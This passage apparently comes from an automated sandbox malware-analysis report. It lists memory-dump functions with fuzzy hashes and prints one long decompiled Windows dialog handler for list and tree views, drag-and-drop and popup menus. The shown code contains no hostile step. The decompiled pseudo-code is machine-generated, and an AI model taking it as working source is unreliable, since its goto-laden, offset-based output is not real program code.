Instruction Fuzzy Hash: C0B09230000308BBCB012F11EC0A8483F29FF10A90B104020F80448131EB76AA92EAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D0F3F0, Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53625a4c7f7e118f3221012a85e6a98902c59a7bd931dda436ba6784157f9f45
Instruction ID: 1b84ee00636a58874f95efe79b3926e34a89fdd8b0dcc1782e7f8030208ff76b
Opcode Fuzzy Hash: 53625a4c7f7e118f3221012a85e6a98902c59a7bd931dda436ba6784157f9f45
Instruction Fuzzy Hash: A8619E7060020A9FCB20DF54C995B6BB7F5EF44304F288479E94A97682E771ED51CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D0766F, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D0774A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 857f35e416af8c42b2d2c1e36893a9c2bc73ae9619dc1c3abf57ca23b6065913
Instruction ID: 8339adc53468eb7b3768022809226c468bbe8928830735e997a710b9c98af1f8
Opcode Fuzzy Hash: 857f35e416af8c42b2d2c1e36893a9c2bc73ae9619dc1c3abf57ca23b6065913
Instruction Fuzzy Hash: 24318279A08A12DFC7249F18D590A21F7A0FF48350B54C569E98E8F7E5E770E881CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D09E9C, Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c38b608bbeea6eb98985f7ea47a5f70fd31805098deeda8342d39519fc2743
Instruction ID: a514e3d40028e9c9cb5a4aeb03b785262037738b0ef9da453132e73bc024063c
Opcode Fuzzy Hash: d3c38b608bbeea6eb98985f7ea47a5f70fd31805098deeda8342d39519fc2743
Instruction Fuzzy Hash: 44319E35502205CACA35EB19D4A4B3AF7A5EF50391B38442EF8DA961A3CB31EC80DB31

Uniqueness

Uniqueness Score: -1.00%

Function 00D07F41, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D07F82

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 4ff33e0ffb6e015fde8ec2e89befae7adb910b1d1faedb1015cf95ab06078890
Instruction ID: 8b7979355d8d1fd8f1deeea43fd06ad2b9bdc8398bfbf2fe023078fb200aecb5
Opcode Fuzzy Hash: 4ff33e0ffb6e015fde8ec2e89befae7adb910b1d1faedb1015cf95ab06078890
Instruction Fuzzy Hash: F601D6B26447127ED3205B28DC06F67BF94EF54760F14862EF55ACA1D1EA71E5408770

Uniqueness

Uniqueness Score: -1.00%

Function 00D6794E, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00D20FF6: _malloc.LIBCMT ref: 00D2100E

Part of subcall function 00D20FF6: std::exception::exception.LIBCMT ref: 00D2102C
Part of subcall function 00D20FF6: __CxxThrowException@8.LIBCMT ref: 00D21041

_memset.LIBCMT ref: 00D67983

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exception
String ID:
API String ID: 4117793777-0
Opcode ID: 837c7134f6ad3074420e7930a9cc7c95cefd32fa8efde092e0e483cca2d32af6
Instruction ID: 854414fe2559b6a249b2506c4baa1b5f6d715513fed37a4fedb2fedd196ab53f
Opcode Fuzzy Hash: 837c7134f6ad3074420e7930a9cc7c95cefd32fa8efde092e0e483cca2d32af6
Instruction Fuzzy Hash: 7101E4742442109FD320EF5CD541B46BBE1EF6D314F24845AF5888B392DA72E8008FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D22E84, Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Part of subcall function 00D23457: __lock.LIBCMT ref: 00D23459

__onexit_nolock.LIBCMT ref: 00D22EA0

Part of subcall function 00D22EC8: RtlDecodePointer.NTDLL(?,?,?,?,?,00D22EA5,?,00DBBB50,0000000C,00D22F8B,?,?,00D01014,00D3B7A9), ref: 00D22EDB
Part of subcall function 00D22EC8: DecodePointer.KERNEL32(?,?,?,?,?,00D22EA5,?,00DBBB50,0000000C,00D22F8B,?,?,00D01014,00D3B7A9), ref: 00D22EE6
Part of subcall function 00D22EC8: __realloc_crt.LIBCMT ref: 00D22F27
Part of subcall function 00D22EC8: __realloc_crt.LIBCMT ref: 00D22F3B
Part of subcall function 00D22EC8: EncodePointer.KERNEL32(00000000,?,?,?,?,?,00D22EA5,?,00DBBB50,0000000C,00D22F8B,?,?,00D01014,00D3B7A9), ref: 00D22F4D
Part of subcall function 00D22EC8: EncodePointer.KERNEL32(?,?,?,?,?,?,00D22EA5,?,00DBBB50,0000000C,00D22F8B,?,?,00D01014,00D3B7A9), ref: 00D22F5B
Part of subcall function 00D22EC8: EncodePointer.KERNEL32(00000000,?,?,?,?,?,00D22EA5,?,00DBBB50,0000000C,00D22F8B,?,?,00D01014,00D3B7A9), ref: 00D22F67

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: e1e2c89d4c669824a9ff86f0136ee9f37f2bb8e7905bb468960da0b1d643d0a7
Instruction ID: 99be2b3077628dabcdac1b8bec19d4464802b5bceb319e90d0b97b892ca20c6f
Opcode Fuzzy Hash: e1e2c89d4c669824a9ff86f0136ee9f37f2bb8e7905bb468960da0b1d643d0a7
Instruction Fuzzy Hash: 47D01271D41229AADB51BBE4A91276D7A60EF3473AF514149F014A61C2CBB806026B75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D8CDAC, Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637
windowkeyboardCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00D8CDAC(void* __ebx, struct HWND__* _a4, int _a8, long _a12) {
				intOrPtr _v24;
				long _v52;
				void* _v56;
				intOrPtr _v60;
				intOrPtr _v84;
				long _v92;
				void* _v96;
				signed int _v108;
				int _v112;
				void* _v116;
				struct HWND__** _v120;
				intOrPtr _v124;
				long _v128;
				signed int _v132;
				int _v136;
				void* _v140;
				char _v144;
				struct HWND__* _v148;
				struct tagPOINT _v156;
				struct tagPOINT _v164;
				signed int _v165;
				signed int _v168;
				signed int _v172;
				long _v176;
				void* __edi;
				signed int _t221;
				signed int _t223;
				long _t224;
				intOrPtr _t226;
				signed int _t228;
				signed int _t229;
				signed int _t232;
				intOrPtr _t233;
				signed int _t236;
				intOrPtr _t239;
				signed int _t242;
				intOrPtr _t244;
				intOrPtr _t251;
				intOrPtr _t254;
				signed int _t258;
				intOrPtr _t261;
				signed int _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				long _t279;
				intOrPtr _t282;
				signed int _t288;
				signed int _t291;
				intOrPtr _t293;
				signed int _t295;
				signed int _t303;
				intOrPtr _t306;
				signed int _t310;
				long _t318;
				signed int _t341;
				intOrPtr _t342;
				intOrPtr _t347;
				intOrPtr _t352;
				signed int _t357;
				signed int _t359;
				short _t362;
				short _t363;
				short _t365;
				signed int _t367;
				struct HWND__* _t374;
				signed int _t375;
				long _t376;
				intOrPtr _t383;
				intOrPtr _t385;
				intOrPtr _t387;
				intOrPtr _t388;
				intOrPtr _t390;
				long _t393;
				struct HMENU__* _t395;
				signed int _t397;
				struct HMENU__* _t399;
				signed int _t401;
				intOrPtr _t405;
				signed int _t417;
				void* _t418;
				intOrPtr _t419;
				intOrPtr _t420;
				long _t422;
				intOrPtr _t426;
				signed int _t429;
				struct tagPOINT* _t439;
				intOrPtr _t440;
				int _t441;
				long _t443;
				signed int _t444;
				intOrPtr _t445;
				void* _t450;
				void* _t451;

				_t221 = E00D02612(0xdc67b0, _a4);
				_t383 =  *0xdc6810; // 0x0
				_t422 = _a12;
				_v148 = _t221;
				_t426 =  *((intOrPtr*)( *((intOrPtr*)(_t383 + _t221 * 4))));
				_t385 =  *((intOrPtr*)(_t422 + 8));
				_v124 = _t426;
				_t450 = _t385 - 0xfffffe6e;
				if(_t450 > 0) {
					__eflags = _t385 - 0xfffffff0;
					if(__eflags > 0) {
						__eflags = _t385 - 0xfffffff4;
						if(_t385 == 0xfffffff4) {
							_t223 = E00D025DB(0xdc67b0,  *_t422);
							_v168 = _t223;
							__eflags = _t223 - 0xffffffff;
							if(_t223 == 0xffffffff) {
								L12:
								_t224 = DefDlgProcW(_a4, 0x4e, _a8, _t422);
								L13:
								return _t224;
							}
							_t387 =  *0xdc6824; // 0x1088d30
							_t388 =  *((intOrPtr*)( *((intOrPtr*)(_t387 + _t223 * 4))));
							_t226 =  *((intOrPtr*)(_t388 + 0x90));
							__eflags = _t226 - 0x10;
							if(_t226 == 0x10) {
								L101:
								_t228 =  *((intOrPtr*)(_t422 + 0xc)) - 1;
								__eflags = _t228;
								if(_t228 == 0) {
									_t224 = 0x20;
									goto L13;
								}
								_t229 = _t228 - 0x10000;
								__eflags = _t229;
								if(_t229 != 0) {
									goto L12;
								}
								__eflags =  *((intOrPtr*)(_t388 + 0x48)) - 0xfe000000;
								_v165 = _t229;
								if( *((intOrPtr*)(_t388 + 0x48)) == 0xfe000000) {
									_v165 = 1;
								}
								_t232 = E00D02402(0xdc67b0,  *((intOrPtr*)(_t422 + 0x2c)),  &_v144,  &_v164);
								__eflags = _t232;
								if(_t232 != 0) {
									_t233 =  *0xdc6824; // 0x1088d30
									_t429 = _v164.x;
									_t236 = GetWindowLongW( *( *((intOrPtr*)( *((intOrPtr*)(_t233 + _t429 * 4)))) + 0x34), 0xfffffff0);
									__eflags = _t236 & 0x08000000;
									if((_t236 & 0x08000000) != 0) {
										goto L106;
									}
									__eflags =  *(_t422 + 0x28) & 0x00000011;
									_t390 =  *0xdc6824; // 0x1088d30
									if(( *(_t422 + 0x28) & 0x00000011) == 0) {
										L110:
										_t239 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4)))) + 0x4c));
										__eflags = _t239 - 0xffffffff;
										if(_t239 != 0xffffffff) {
											 *((intOrPtr*)(_t422 + 0x30)) = _t239;
											_t390 =  *0xdc6824; // 0x1088d30
										}
										_t242 =  *( *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4)))) + 0x48);
										__eflags = _t242;
										if(_t242 < 0) {
											goto L106;
										} else {
											__eflags = _v165;
											if(_v165 == 0) {
												L115:
												 *(_t422 + 0x34) = _t242;
												goto L106;
											}
											__eflags =  *(_t422 + 0x24) & 0x00000001;
											if(( *(_t422 + 0x24) & 0x00000001) == 0) {
												goto L106;
											}
											goto L115;
										}
									}
									_t244 =  *((intOrPtr*)( *((intOrPtr*)(_t390 + _t429 * 4))));
									__eflags =  *((char*)(_t244 + 0x90)) - 0x14;
									if( *((char*)(_t244 + 0x90)) != 0x14) {
										goto L12;
									}
									goto L110;
								} else {
									L106:
									_t224 = 0;
									goto L13;
								}
							}
							__eflags = _t226 - 0x13;
							if(_t226 != 0x13) {
								goto L12;
							}
							goto L101;
						}
						__eflags = _t385 - 0xfffffffb;
						if(_t385 == 0xfffffffb) {
							_v165 = 0;
							E00D02344(0xdc67b0, _t426, 1);
							GetCursorPos( &_v164);
							ScreenToClient( *_t422,  &_v164);
							_t393 = E00D025DB(0xdc67b0,  *_t422);
							_v172 = _t393;
							_v176 = _t393;
							__eflags = _t393 - 0xffffffff;
							if(_t393 != 0xffffffff) {
								L79:
								_t251 =  *0xdc6824; // 0x1088d30
								_v148 = _t393;
								_t254 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t251 + _t393 * 4)))) + 0x90));
								__eflags = _t254 - 0x10;
								if(_t254 == 0x10) {
									_v140 = _v156.x;
									_v136 = _v156.y;
									_t258 = SendMessageW( *_t422, 0x1111, 0,  &_v140);
									__eflags = _t258;
									if(_t258 == 0) {
										L96:
										ClientToScreen( *_t422,  &_v156);
										_t261 =  *0xdc6824; // 0x1088d30
										_t395 =  *( *((intOrPtr*)( *((intOrPtr*)(_t261 + _v164.y * 4)))) + 0xc);
										__eflags = _t395;
										if(_t395 == 0) {
											goto L12;
										}
										TrackPopupMenuEx(_t395, 0x80, _v156.x, _v156.y,  *_v120, 0);
										L37:
										_t224 = 1;
										goto L13;
									}
									_v92 = _t258;
									_v96 = 4;
									SendMessageW( *_t422, 0x113e, 0,  &_v96);
									__eflags = _v132 & 0x00000046;
									if((_v132 & 0x00000046) == 0) {
										goto L96;
									}
									_t271 = E00D02402(0xdc67b0, _v60,  &_v144,  &_v164);
									__eflags = _t271;
									if(_t271 == 0) {
										L95:
										_v164.y = _v148;
										goto L96;
									}
									_t397 = _v164.x;
									_t273 =  *0xdc6824; // 0x1088d30
									_v164.y = _t397;
									_t275 =  *((intOrPtr*)( *((intOrPtr*)(_t273 + _t397 * 4))));
									__eflags =  *(_t275 + 0xc);
									if( *(_t275 + 0xc) != 0) {
										goto L96;
									}
									goto L95;
								}
								__eflags = _t254 - 0x13;
								if(_t254 != 0x13) {
									goto L12;
								}
								_v116 = _v156.x;
								_v112 = _v156.y;
								_t279 = SendMessageW( *_t422, 0x1012, 0,  &_v116);
								__eflags = _t279 - 0xffffffff;
								if(_t279 <= 0xffffffff) {
									L89:
									ClientToScreen( *_t422,  &_v156);
									_t282 =  *0xdc6824; // 0x1088d30
									_t399 =  *( *((intOrPtr*)( *((intOrPtr*)(_t282 + _v164.y * 4)))) + 0xc);
									__eflags = _t399;
									if(_t399 != 0) {
										TrackPopupMenuEx(_t399, 0, _v156.x, _v156.y,  *_v120, 0);
									}
									goto L12;
								}
								__eflags = _v165;
								if(_v165 != 0) {
									goto L89;
								}
								_v52 = _t279;
								_v56 = 4;
								_t288 = SendMessageW( *_t422, 0x104b, 0,  &_v56);
								__eflags = _t288;
								if(_t288 == 0) {
									goto L12;
								}
								__eflags = _v108 & 0x0000000e;
								if((_v108 & 0x0000000e) == 0) {
									goto L89;
								}
								_t291 = E00D02402(0xdc67b0, _v24,  &_v144,  &_v164);
								__eflags = _t291;
								if(_t291 == 0) {
									L88:
									_v164.y = _v148;
									goto L89;
								}
								_t401 = _v164.x;
								_t293 =  *0xdc6824; // 0x1088d30
								_v164.y = _t401;
								_t295 =  *( *(_t293 + _t401 * 4));
								__eflags = _t295;
								if(_t295 == 0) {
									goto L88;
								}
								__eflags =  *(_t295 + 0xc);
								if( *(_t295 + 0xc) != 0) {
									goto L89;
								}
								goto L88;
							}
							_t393 = E00D025DB(0xdc67b0, GetParent( *_t422));
							_v164.x = _t393;
							_v168 = _t393;
							__eflags = _t393 - 0xffffffff;
							if(_t393 == 0xffffffff) {
								goto L12;
							}
							_v165 = 1;
							goto L79;
						}
						__eflags = _t385 - 0xfffffffe;
						if(_t385 != 0xfffffffe) {
							goto L12;
						}
						E00D02344(0xdc67b0, _t426, 1);
						GetCursorPos( &_v164);
						ScreenToClient( *_t422,  &_v164);
						_t303 = E00D025DB(0xdc67b0,  *_t422);
						__eflags = _t303 - 0xffffffff;
						if(_t303 == 0xffffffff) {
							goto L12;
						}
						_t405 =  *0xdc6824; // 0x1088d30
						_t306 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t405 + _t303 * 4)))) + 0x90));
						__eflags = _t306 - 0x10;
						if(_t306 < 0x10) {
							goto L12;
						}
						__eflags = _t306 - 0x11;
						if(_t306 <= 0x11) {
							_v140 = _v156.x;
							_v136 = _v156.y;
							_t310 = SendMessageW( *_t422, 0x1111, 0,  &_v140);
							__eflags = _t310;
							if(_t310 != 0) {
								_v92 = _t310;
								_v96 = 0xc;
								_v84 = 0xf000;
								SendMessageW( *_t422, 0x113e, 0,  &_v96);
								__eflags = _v132 & 0x00000046;
								if((_v132 & 0x00000046) != 0) {
									SendMessageW( *_t422, 0x110b, 9, 0);
									SendMessageW( *_t422, 0x110b, 9, _v128);
								}
							}
							goto L12;
						}
						__eflags = _t306 - 0x13;
						if(_t306 != 0x13) {
							goto L12;
						}
						_v116 = _v156;
						_v112 = _v156.y;
						_t318 = SendMessageW( *_t422, 0x1012, 0,  &_v116);
						__eflags = _t318 - 0xffffffff;
						if(_t318 == 0xffffffff) {
							goto L12;
						}
						_v52 = _t318;
						_v56 = 4;
						SendMessageW( *_t422, 0x104b, 0,  &_v56);
						__eflags = _v108 & 0x0000000e;
						if((_v108 & 0x0000000e) == 0) {
							goto L12;
						}
						_push(0);
						_push(_v24);
						L45:
						E00D8B60B();
						goto L12;
					}
					if(__eflags == 0) {
						ReleaseCapture();
						goto L12;
					}
					__eflags = _t385 - 0xfffffec0;
					if(_t385 == 0xfffffec0) {
						L61:
						InvalidateRect( *_t422, 0, 1);
						goto L12;
					}
					__eflags = _t385 - 0xfffffed4;
					if(_t385 == 0xfffffed4) {
						goto L61;
					}
					__eflags = _t385 - 0xffffff93;
					if(_t385 == 0xffffff93) {
						ImageList_SetDragCursorImage( *0xdc685c, 0, 0, 0);
						ImageList_BeginDrag( *0xdc685c, 0, 0xfffffff8, 0xfffffff0);
						SetCapture(_a4);
						 *0xdc6860 = _a8;
						_v140 = 0;
						_v132 = 0;
						_v128 = 1;
						E00D09A20(__ebx,  &_v140);
						_v140 = _a8;
						_v128 = 1;
						E00D07F41(__ebx,  &_v116, __eflags, L"@GUI_DRAGID");
						E00D08B13(0xdc7270, _t418, _t422, __eflags,  &_v120,  &_v144, 1);
						E00D05A64( &_v132);
						_t439 = _t422 + 0x20;
						ClientToScreen( *_t422, _t439);
						ImageList_DragEnter(0,  *_t439,  *(_t422 + 0x24));
						E00D09A20(__ebx,  &_v156);
					} else {
						__eflags = _t385 - 0xffffff94;
						if(_t385 == 0xffffff94) {
							_t440 =  *((intOrPtr*)(_t422 + 4));
							_t341 = E00D02402(0xdc67b0, _t440,  &_v144,  &_v164);
							__eflags = _t341;
							if(_t341 != 0) {
								_t342 =  *0xdc6824; // 0x1088d30
								_push(0);
								 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t342 + _v164.x * 4)))) + 0x96)) =  *(_t422 + 0x10);
								_push( *((intOrPtr*)(_t422 + 4)));
								E00D8B60B();
								_t419 =  *0xdc6824; // 0x1088d30
								_t414 = _v172;
								_t347 =  *((intOrPtr*)( *((intOrPtr*)(_t419 + _v172 * 4))));
								__eflags =  *(_t347 + 0x28);
								if( *(_t347 + 0x28) > 0) {
									 *0xdc67ec = _t440;
									E00D081A7(0xdc67f0,  *((intOrPtr*)( *((intOrPtr*)(_t419 + _t414 * 4)))) + 0x24);
									_t352 =  *0xdc6824; // 0x1088d30
									 *0xdc6800 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t352 + _v165 * 4)))) + 0x98));
									SendMessageW( *_t422, 0x1030,  *(_t422 + 0x10), 0xd8b602);
								}
							}
						}
					}
					goto L12;
				}
				if(_t450 == 0) {
					L46:
					_t441 = 0;
					_t357 = SendMessageW( *_t422, 0x110a, 9, 0);
					__eflags = _t357;
					if(_t357 == 0) {
						goto L12;
					}
					_v92 = _t357;
					_v96 = 4;
					_t359 = SendMessageW( *_t422, 0x113e, 0,  &_v96);
					__eflags = _t359;
					if(_t359 == 0) {
						goto L12;
					}
					__eflags =  *(_t422 + 0x34) -  *((intOrPtr*)(_t422 + 0x5c));
					if( *(_t422 + 0x34) ==  *((intOrPtr*)(_t422 + 0x5c))) {
						goto L12;
					}
					__eflags =  *((intOrPtr*)(_t422 + 0xc)) - 0x1000;
					if( *((intOrPtr*)(_t422 + 0xc)) == 0x1000) {
						goto L12;
					}
					__eflags =  *((intOrPtr*)(_t422 + 0xc)) - 1;
					L26:
					if(__eflags == 0) {
						goto L12;
					}
					_push(_t441);
					_push(_v60);
					goto L45;
				}
				_t451 = _t385 - 0xfffffdd9;
				if(_t451 > 0) {
					__eflags = _t385 - 0xfffffdda;
					if(_t385 == 0xfffffdda) {
						_t362 = GetKeyState(0x11);
						__eflags = _t362;
						if(_t362 >= 0) {
							goto L12;
						}
						_t363 = GetKeyState(9);
						__eflags = _t363;
						if(_t363 >= 0) {
							goto L12;
						}
						_t443 = SendMessageW( *_t422, 0x130b, 0, 0);
						_t365 = GetKeyState(0x10);
						__eflags = _t365;
						if(_t365 >= 0) {
							_t444 = _t443 + 1;
							__eflags = _t444;
						} else {
							_t444 = _t443 - 1;
						}
						_push(_t444);
						L44:
						_push( *((intOrPtr*)(_t422 + 4)));
						goto L45;
					}
					__eflags = _t385 - 0xfffffdee;
					if(_t385 == 0xfffffdee) {
						__eflags =  *(_t426 + 0x188);
						if( *(_t426 + 0x188) == 0) {
							goto L12;
						}
						_t420 =  *0xdc6834; // 0x2
						_t417 = 3;
						__eflags = _t420 - _t417;
						if(_t420 < _t417) {
							goto L12;
						}
						_t445 =  *0xdc6824; // 0x1088d30
						do {
							_t367 =  *( *(_t445 + _t417 * 4));
							__eflags = _t367;
							if(_t367 == 0) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t367 + 4)) - _v144;
							_t422 = _a12;
							if( *((intOrPtr*)(_t367 + 4)) != _v144) {
								goto L34;
							}
							__eflags = ( *(_t367 + 0x93) & 0x000000ff) -  *((intOrPtr*)(_t422 + 4));
							if(( *(_t367 + 0x93) & 0x000000ff) ==  *((intOrPtr*)(_t422 + 4))) {
								break;
							}
							L34:
							_t417 = _t417 + 1;
							__eflags = _t417 - _t420;
						} while (_t417 <= _t420);
						__eflags = _t417 - _t420;
						if(_t417 > _t420) {
							goto L12;
						}
						E00D242EE(_t422 + 0x10,  *((intOrPtr*)( *( *(_t445 + _t417 * 4)) + 0x54)), 0x4f);
						__eflags = 0;
						 *((short*)(_t422 + 0xae)) = 0;
						goto L37;
					}
					__eflags = _t385 - 0xfffffe3d;
					if(_t385 == 0xfffffe3d) {
						goto L46;
					}
					__eflags = _t385 - 0xfffffe64;
					if(_t385 != 0xfffffe64) {
						goto L12;
					}
					_t374 =  *_t422;
					_v148 = _t374;
					_t375 = GetWindowLongW(_t374, 0xfffffff0);
					__eflags = _t375 & 0x00000100;
					if((_t375 & 0x00000100) == 0) {
						goto L12;
					}
					__eflags =  *((short*)(_t422 + 0xc)) - 0x20;
					if( *((short*)(_t422 + 0xc)) != 0x20) {
						goto L12;
					}
					_t441 = 0;
					_t376 = SendMessageW(_v148, 0x110a, 9, 0);
					__eflags = _t376;
					if(_t376 == 0) {
						goto L12;
					}
					_v92 = _t376;
					_v96 = 4;
					__eflags = SendMessageW(_v148, 0x113e, 0,  &_v96);
					goto L26;
				}
				if(_t451 == 0) {
					_push(SendMessageW( *_t422, 0x130b, 0, 0));
					goto L44;
				}
				if(_t385 == 0xfffffd09) {
					__eflags =  *((char*)(_t426 + 0x199));
					 *((char*)(_t426 + 0x19a)) = 1;
					if( *((char*)(_t426 + 0x199)) != 0) {
						goto L12;
					} else {
						 *((char*)(_t426 + 0x19a)) = 0;
						_push( *((intOrPtr*)(_t422 + 8)));
						goto L44;
					}
				}
				if(_t385 == 0xfffffd0e) {
					 *((char*)(_t426 + 0x199)) = 1;
					goto L12;
				}
				if(_t385 == 0xfffffd0f) {
					__eflags =  *((char*)(_t426 + 0x19a)) - 1;
					if( *((char*)(_t426 + 0x19a)) == 1) {
						_push(_t385);
						_push( *((intOrPtr*)(_t422 + 4)));
						E00D8B60B();
					}
					 *((short*)(_t426 + 0x199)) = 0;
					goto L12;
				}
				if(_t385 != 0xfffffd16) {
					goto L12;
				} else {
					_push(_t385);
					goto L44;
				}
			}

0x00d8cdc2
0x00d8cdc7
0x00d8cdcd
0x00d8cdd0
0x00d8cddc
0x00d8cdde
0x00d8cde1
0x00d8cde5
0x00d8cde7
0x00d8d06f
0x00d8d072
0x00d8d219
0x00d8d21c
0x00d8d5d7
0x00d8d5dc
0x00d8d5e0
0x00d8d5e3
0x00d8ce47
0x00d8ce50
0x00d8ce56
0x00d8ce5b
0x00d8ce5b
0x00d8d5e9
0x00d8d5f2
0x00d8d5f4
0x00d8d5fa
0x00d8d5fc
0x00d8d606
0x00d8d609
0x00d8d609
0x00d8d60a
0x00d8d6c0
0x00000000
0x00d8d6c0
0x00d8d610
0x00d8d610
0x00d8d615
0x00000000
0x00000000
0x00d8d61b
0x00d8d622
0x00d8d626
0x00d8d628
0x00d8d628
0x00d8d63c
0x00d8d641
0x00d8d643
0x00d8d64c
0x00d8d651
0x00d8d65f
0x00d8d665
0x00d8d66a
0x00000000
0x00000000
0x00d8d66c
0x00d8d670
0x00d8d676
0x00d8d68a
0x00d8d68f
0x00d8d692
0x00d8d695
0x00d8d697
0x00d8d69a
0x00d8d69a
0x00d8d6a5
0x00d8d6a8
0x00d8d6aa
0x00000000
0x00d8d6ac
0x00d8d6ac
0x00d8d6b1
0x00d8d6b9
0x00d8d6b9
0x00000000
0x00d8d6b9
0x00d8d6b3
0x00d8d6b7
0x00000000
0x00000000
0x00000000
0x00d8d6b7
0x00d8d6aa
0x00d8d67b
0x00d8d67d
0x00d8d684
0x00000000
0x00000000
0x00000000
0x00d8d645
0x00d8d645
0x00d8d645
0x00000000
0x00d8d645
0x00d8d643
0x00d8d5fe
0x00d8d600
0x00000000
0x00000000
0x00000000
0x00d8d600
0x00d8d222
0x00d8d225
0x00d8d38a
0x00d8d391
0x00d8d39b
0x00d8d3a8
0x00d8d3b7
0x00d8d3b9
0x00d8d3bd
0x00d8d3c1
0x00d8d3c4
0x00d8d3ee
0x00d8d3ee
0x00d8d3f3
0x00d8d3fc
0x00d8d402
0x00d8d404
0x00d8d501
0x00d8d509
0x00d8d51a
0x00d8d520
0x00d8d522
0x00d8d588
0x00d8d58f
0x00d8d599
0x00d8d5a3
0x00d8d5a6
0x00d8d5a8
0x00000000
0x00000000
0x00d8d5c3
0x00d8cfb2
0x00d8cfb4
0x00000000
0x00d8cfb4
0x00d8d524
0x00d8d535
0x00d8d53d
0x00d8d543
0x00d8d548
0x00000000
0x00000000
0x00d8d560
0x00d8d565
0x00d8d567
0x00d8d580
0x00d8d584
0x00000000
0x00d8d584
0x00d8d569
0x00d8d56d
0x00d8d572
0x00d8d579
0x00d8d57b
0x00d8d57e
0x00000000
0x00000000
0x00000000
0x00d8d57e
0x00d8d40a
0x00d8d40c
0x00000000
0x00000000
0x00d8d418
0x00d8d420
0x00d8d431
0x00d8d437
0x00d8d43a
0x00d8d4b9
0x00d8d4c0
0x00d8d4ca
0x00d8d4d4
0x00d8d4d7
0x00d8d4d9
0x00d8d4f0
0x00d8d4f0
0x00000000
0x00d8d4d9
0x00d8d43c
0x00d8d441
